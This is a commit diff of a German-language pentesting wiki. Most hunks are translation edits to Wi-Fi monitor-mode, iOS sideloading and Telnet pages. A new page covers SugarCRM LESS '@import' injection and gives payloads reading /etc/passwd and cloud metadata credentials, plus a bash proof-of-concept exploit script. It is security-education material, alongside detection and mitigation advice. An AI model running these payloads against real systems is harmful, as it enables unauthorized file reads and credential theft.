Translated ['src/generic-methodologies-and-resources/pentesting-wifi/ena

This commit is contained in:
Translator 2025-07-15 10:46:47 +00:00
parent 4d26d51639
commit b2ea9cba5d
6 changed files with 99 additions and 17 deletions

View File

@ -544,6 +544,7 @@
# 🕸️ Pentesting Web
- [Less Code Injection Ssrf](pentesting-web/less-code-injection-ssrf.md)
- [Web Vulnerabilities Methodology](pentesting-web/web-vulnerabilities-methodology.md)
- [Reflecting Techniques - PoCs and Polygloths CheatSheet](pentesting-web/pocs-and-polygloths-cheatsheet/README.md)
- [Web Vulns List](pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md)

View File

@ -9,7 +9,7 @@ Diese Seite dokumentiert einen schnellen Workflow, der ein vollständig gepatcht
* NexMon Magisk-Modul, das die gepatchte Firmware + `libnexmon.so` enthält
* Hijacker Android-Anwendung zur Automatisierung des Umschaltens des Monitor-Modus
* Optional Kali NetHunter chroot, um klassische drahtlose Tools (aircrack-ng, wifite, mdk4 …) direkt gegen die interne Schnittstelle auszuführen
* Optional Kali NetHunter Chroot, um klassische drahtlose Tools (aircrack-ng, wifite, mdk4 …) direkt gegen die interne Schnittstelle auszuführen
Die gleiche Technik gilt für jedes Handy, das einen öffentlich verfügbaren NexMon-Patch hat (Pixel 1, Nexus 6P, Galaxy S7/S8 usw.).
@ -22,8 +22,8 @@ Die gleiche Technik gilt für jedes Handy, das einen öffentlich verfügbaren Ne
* NexMon Magisk ZIP oder selbstkompilierten Patch, der bereitstellt:
* `/system/lib*/libnexmon.so`
* `/system/xbin/nexutil`
* Hijacker ≥ 1.7 (arm/arm64) https://github.com/chrisk44/Hijacker
* (Optional) Kali NetHunter oder ein beliebiges Linux chroot, in dem Sie drahtlose Tools ausführen möchten
* Hijacker ≥ 1.7 (arm/arm64) [https://github.com/chrisk44/Hijacker](https://github.com/chrisk44/Hijacker)
* (Optional) Kali NetHunter oder ein beliebiges Linux-Chroot, in dem Sie drahtlose Tools ausführen möchten
---
@ -51,7 +51,7 @@ svc wifi disable; ifconfig wlan0 up; nexutil -s0x613 -i -v2
Disable monitor mode:
nexutil -m0; svc wifi enable
```
Aktivieren Sie „Monitor-Modus beim Start von airodump starten“, damit jeder Hijacker-Scan im nativen Monitor-Modus erfolgt (`wlan0` anstelle von `wlan0mon`).
Aktivieren Sie „Monitor-Modus beim Start von airodump starten“, damit jeder Hijacker-Scan im nativen Monitor-Modus (`wlan0` anstelle von `wlan0mon`) erfolgt.
Wenn Hijacker beim Start Fehler anzeigt, erstellen Sie das erforderliche Verzeichnis im gemeinsamen Speicher und öffnen Sie die App erneut:
```bash
@ -60,10 +60,10 @@ mkdir -p /storage/emulated/0/Hijacker
### Was bedeuten diese `nexutil`-Flags?
* **`-s0x613`** Schreibe Firmware-Variable 0x613 (FCAP_FRAME_INJECTION) → `1` (Aktivieren des TX von beliebigen Frames).
* **`-i`** Setze das Interface in den Monitor-Modus (Radiotap-Header wird hinzugefügt).
* **`-v2`** Setze die Ausführlichkeitsebene; `2` druckt Bestätigung und Firmware-Version.
* **`-v2`** Setze die ausführliche Ebene; `2` druckt Bestätigung und Firmware-Version.
* **`-m0`** Stelle den verwalteten Modus wieder her (wird im *disable*-Befehl verwendet).
Nach dem Ausführen von *Enable monitor mode* solltest du das Interface im Monitor-Zustand sehen und in der Lage sein, rohe Frames mit:
Nachdem du *Monitor-Modus aktivieren* ausgeführt hast, solltest du das Interface im Monitor-Zustand sehen und in der Lage sein, rohe Frames mit zu erfassen:
```bash
airodump-ng --band abg wlan0
```

View File

@ -31,7 +31,7 @@ Um sie zu installieren, entpacke einfach die IPA:
```bash
unzip redacted.ipa -d unzipped
```
Überprüfen Sie die `Info.plist` auf die minimale unterstützte Version, und wenn Ihr Gerät älter ist als diese, ändern Sie den Wert, damit es unterstützt wird.
Überprüfen Sie die `Info.plist` auf die minimal unterstützte Version und wenn Ihr Gerät älter ist, ändern Sie den Wert, damit es unterstützt wird.
Zippen Sie die IPA zurück:
```bash
@ -47,13 +47,13 @@ Beachten Sie, dass Sie möglicherweise den **AppSync Unified tweak** von Cydia b
Sobald installiert, können Sie den **Iridium tweak** von Cydia verwenden, um die entschlüsselte IPA zu erhalten.
### Berechtigungen patchen & neu signieren
### Patch-Berechtigungen & Neuunterzeichnung
Um die Anwendung mit der Berechtigung `get-task-allow` neu zu signieren, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur Verfügung. `app-signer` hat eine sehr benutzerfreundliche Oberfläche, die es ermöglicht, eine IPA-Datei sehr einfach neu zu signieren, indem die zu signierende IPA, die **`get-taks-allow`**-Berechtigung sowie das zu verwendende Zertifikat und das Bereitstellungsprofil angegeben werden.
Um die Anwendung mit der Berechtigung `get-task-allow` neu zu unterzeichnen, stehen mehrere Tools wie `app-signer`, `codesign` und `iResign` zur Verfügung. `app-signer` hat eine sehr benutzerfreundliche Oberfläche, die es ermöglicht, eine IPA-Datei sehr einfach neu zu unterzeichnen, indem die zu unterzeichnende IPA, die **`get-taks-allow`**-Berechtigung sowie das zu verwendende Zertifikat und das Bereitstellungsprofil angegeben werden.
Bezüglich des Zertifikats und der Signierungsprofile bietet Apple **kostenlose Entwickler-Signierungsprofile** für alle Konten über Xcode an. Erstellen Sie einfach eine App und konfigurieren Sie eine. Konfigurieren Sie dann das **iPhone, um den Entwickler-Apps zu vertrauen**, indem Sie zu `Einstellungen``Datenschutz & Sicherheit` navigieren und auf `Entwicklermodus` klicken.
Mit der neu signierten IPA ist es Zeit, sie auf dem Gerät zu installieren, um sie zu pentesten:
Mit der neu unterzeichneten IPA ist es Zeit, sie auf dem Gerät zu installieren, um sie zu pentesten:
```bash
ideviceinstaller -i resigned.ipa -w
```
@ -61,9 +61,9 @@ ideviceinstaller -i resigned.ipa -w
### Entwicklermodus aktivieren (iOS 16+)
Seit iOS 16 hat Apple den **Entwicklermodus** eingeführt: Jede Binary, die `get_task_allow` *oder* mit einem Entwicklungszertifikat signiert ist, wird sich weigern zu starten, bis der Entwicklermodus auf dem Gerät aktiviert ist. Sie können auch Frida/LLDB nicht anhängen, es sei denn, dieses Flag ist aktiviert.
Seit iOS 16 hat Apple den **Entwicklermodus** eingeführt: Jede Binärdatei, die `get_task_allow` *oder* mit einem Entwicklungszertifikat signiert ist, verweigert das Starten, bis der Entwicklermodus auf dem Gerät aktiviert ist. Sie können auch Frida/LLDB nicht anhängen, es sei denn, dieses Flag ist aktiviert.
1. Installieren oder pushen Sie **irgendeine** entwickler-signierte IPA auf das Telefon.
1. Installieren oder übertragen Sie **irgendeine** entwickler-signierte IPA auf das Telefon.
2. Navigieren Sie zu **Einstellungen → Datenschutz & Sicherheit → Entwicklermodus** und aktivieren Sie ihn.
3. Das Gerät wird neu gestartet; nach Eingabe des Passworts werden Sie aufgefordert, den Entwicklermodus **einzuschalten**.
@ -76,7 +76,7 @@ Es gibt jetzt mehrere ausgereifte Möglichkeiten, IPAs zu sideloaden und sie ohn
| Tool | Anforderungen | Stärken | Einschränkungen |
|------|--------------|-----------|-------------|
| **AltStore 2 / SideStore** | macOS/Windows/Linux-Begleitgerät, das die IPA alle 7 Tage mit einem kostenlosen Entwicklerprofil neu signiert | Automatisches Nachladen über Wi-Fi, funktioniert bis iOS 17 | Computer im selben Netzwerk erforderlich, 3-App-Limit von Apple auferlegt |
| **TrollStore 1/2** | Gerät mit iOS 14 15.4.1, das anfällig für den CoreTrust-Bug ist | *Dauerhafte* Signierung (kein 7-Tage-Limit); kein Computer erforderlich, sobald installiert | Nicht unterstützt auf iOS 15.5+ (Bug gepatcht) |
| **TrollStore 1/2** | Gerät auf iOS 14 15.4.1, das anfällig für den CoreTrust-Bug ist | *Permanente* Signierung (kein 7-Tage-Limit); kein Computer erforderlich, sobald installiert | Nicht unterstützt auf iOS 15.5+ (Bug gepatcht) |
Für routinemäßige Pentests auf aktuellen iOS-Versionen sind Alt/Side-Store in der Regel die praktischste Wahl.
@ -90,11 +90,11 @@ objection -g "com.example.target" explore
# Or plain Frida
frida -U -f com.example.target -l my_script.js --no-pause
```
Neuere Frida-Versionen (>=16) behandeln automatisch die Zeiger-Authentifizierung und andere iOS 17-Minderungen, sodass die meisten vorhandenen Skripte sofort funktionieren.
Neuere Frida-Versionen (>=16) behandeln automatisch die Zeigerautorisierung und andere iOS 17-Minderungen, sodass die meisten vorhandenen Skripte sofort funktionieren.
### Automatisierte dynamische Analyse mit MobSF (kein Jailbreak)
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kann eine von einem Entwickler signierte IPA auf einem echten Gerät mit der gleichen Technik (`get_task_allow`) instrumentieren und bietet eine Web-UI mit Dateisystembrowser, Verkehrserfassung und Frida-Konsole【†L2-L3】. Der schnellste Weg ist, MobSF in Docker auszuführen und dann dein iPhone über USB anzuschließen:
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) kann eine dev-signierte IPA auf einem echten Gerät mit der gleichen Technik (`get_task_allow`) instrumentieren und bietet eine Web-UI mit Dateisystembrowser, Verkehrserfassung und Frida-Konsole【】. Der schnellste Weg ist, MobSF in Docker auszuführen und dann dein iPhone über USB anzuschließen:
```bash
docker pull opensecurity/mobile-security-framework-mobsf:latest
docker run -p 8000:8000 --privileged \

View File

@ -104,7 +104,7 @@ Die meisten IoT-Botnets (Mirai-Varianten) scannen weiterhin Port 23 mit kleinen
Metasploit hat mehrere nützliche Module:
* `auxiliary/scanner/telnet/telnet_version` Banner- & Optionsenumeration.
* `auxiliary/scanner/telnet/telnet_version` Banner- und Optionsenumeration.
* `auxiliary/scanner/telnet/brute_telnet` Multithreaded Bruteforce.
* `auxiliary/scanner/telnet/telnet_encrypt_overflow` RCE gegen anfälliges Solaris 9/10 Telnet (Option ENCRYPT-Verarbeitung).
* `exploit/linux/mips/netgear_telnetenable` aktiviert den Telnet-Dienst mit einem gestalteten Paket auf vielen NETGEAR-Routern.
@ -123,4 +123,4 @@ Nachdem eine Shell erhalten wurde, denken Sie daran, dass **TTYs normalerweise d
* D-Link Advisory CVE-2024-45698 Kritische Telnet RCE.
* NVD CVE-2022-39028 inetutils `telnetd` DoS.
{{#include /banners/hacktricks-training.md}}
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,75 @@
# LESS Code Injection, die zu SSRF & Local File Read führt
{{#include ../banners/hacktricks-training.md}}
## Übersicht
LESS ist ein beliebter CSS-Präprozessor, der Variablen, Mixins, Funktionen und die leistungsstarke `@import`-Direktive hinzufügt. Während der Kompilierung wird die LESS-Engine **die in `@import`**-Anweisungen referenzierten Ressourcen abrufen und deren Inhalte in das resultierende CSS einbetten ("inline"), wenn die Option `(inline)` verwendet wird.
Wenn eine Anwendung **benutzergesteuerte Eingaben** in einen String einfügt, der später vom LESS-Compiler geparst wird, kann ein Angreifer **willkürlichen LESS-Code** injizieren. Durch den Missbrauch von `@import (inline)` kann der Angreifer den Server zwingen, Folgendes abzurufen:
* Lokale Dateien über das `file://`-Protokoll (Informationsoffenlegung / Local File Inclusion).
* Remote-Ressourcen in internen Netzwerken oder Cloud-Metadaten-Diensten (SSRF).
Diese Technik wurde in realen Produkten wie **SugarCRM ≤ 14.0.0** (`/rest/v10/css/preview`-Endpunkt) beobachtet.
## Ausnutzung
1. Identifizieren Sie einen Parameter, der direkt in einen Stylesheet-String eingebettet ist, der von der LESS-Engine verarbeitet wird (z. B. `?lm=` in SugarCRM).
2. Schließen Sie die aktuelle Anweisung und injizieren Sie neue Direktiven. Die häufigsten Primitiven sind:
* `;` beendet die vorherige Deklaration.
* `}` schließt den vorherigen Block (falls erforderlich).
3. Verwenden Sie `@import (inline) '<URL>';`, um willkürliche Ressourcen zu lesen.
4. Optional können Sie einen **Marker** (`data:` URI) nach dem Import injizieren, um die Extraktion des abgerufenen Inhalts aus dem kompilierten CSS zu erleichtern.
### Local File Read
```
1; @import (inline) 'file:///etc/passwd';
@import (inline) 'data:text/plain,@@END@@'; //
```
Der Inhalt von `/etc/passwd` wird in der HTTP-Antwort kurz vor dem `@@END@@` Marker angezeigt.
### SSRF Cloud-Metadaten
```
1; @import (inline) "http://169.254.169.254/latest/meta-data/iam/security-credentials/";
@import (inline) 'data:text/plain,@@END@@'; //
```
### Automatisierte PoC (SugarCRM-Beispiel)
```bash
#!/usr/bin/env bash
# Usage: ./exploit.sh http://target/sugarcrm/ /etc/passwd
TARGET="$1" # Base URL of SugarCRM instance
RESOURCE="$2" # file:// path or URL to fetch
INJ=$(python -c "import urllib.parse,sys;print(urllib.parse.quote_plus(\"1; @import (inline) '$RESOURCE'; @import (inline) 'data:text/plain,@@END@@';//\"))")
curl -sk "${TARGET}rest/v10/css/preview?baseUrl=1&lm=${INJ}" | \
sed -n 's/.*@@END@@\(.*\)/\1/p'
```
## Detection
* Suchen Sie nach dynamisch generierten `.less` oder `.css` Antworten, die unsanitized Query-Parameter enthalten.
* Durchsuchen Sie während der Code-Überprüfung nach Konstruktionen wie `"@media all { .preview { ... ${userInput} ... } }"` die an LESS-Renderfunktionen übergeben werden.
* Exploit-Versuche enthalten oft `@import`, `(inline)`, `file://`, `http://169.254.169.254` usw.
## Mitigations
* Geben Sie **keine** untrusted Daten an den LESS-Compiler weiter.
* Wenn dynamische Werte erforderlich sind, **escapen**/sanitizen Sie diese ordnungsgemäß (z. B. auf numerische Tokens beschränken, Whitelists).
* Deaktivieren Sie, wenn möglich, die Möglichkeit, `(inline)` Importe zu verwenden, oder beschränken Sie die erlaubten Protokolle auf `https`.
* Halten Sie Abhängigkeiten auf dem neuesten Stand SugarCRM hat dieses Problem in den Versionen 13.0.4 und 14.0.1 behoben.
## Real-World Cases
| Produkt | Verwundbarer Endpunkt | Auswirkung |
|---------|-----------------------|------------|
| SugarCRM ≤ 14.0.0 | `/rest/v10/css/preview?lm=` | Unauthenticated SSRF & lokale Dateilesen |
## References
* [SugarCRM ≤ 14.0.0 (css/preview) LESS Code Injection Vulnerability](https://karmainsecurity.com/KIS-2025-04)
* [SugarCRM Security Advisory SA-2024-059](https://support.sugarcrm.com/resources/security/sugarcrm-sa-2024-059/)
* [CVE-2024-58258](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-58258)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,4 +4,10 @@
Überprüfen Sie **[https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/](https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/)**
- SugarCRM ≤ 14.0.0 LESS `@import` Injection in `/rest/v10/css/preview` ermöglicht nicht authentifizierte SSRF & lokalen Datei-Lesezugriff.
{{#ref}}
../less-code-injection-ssrf.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}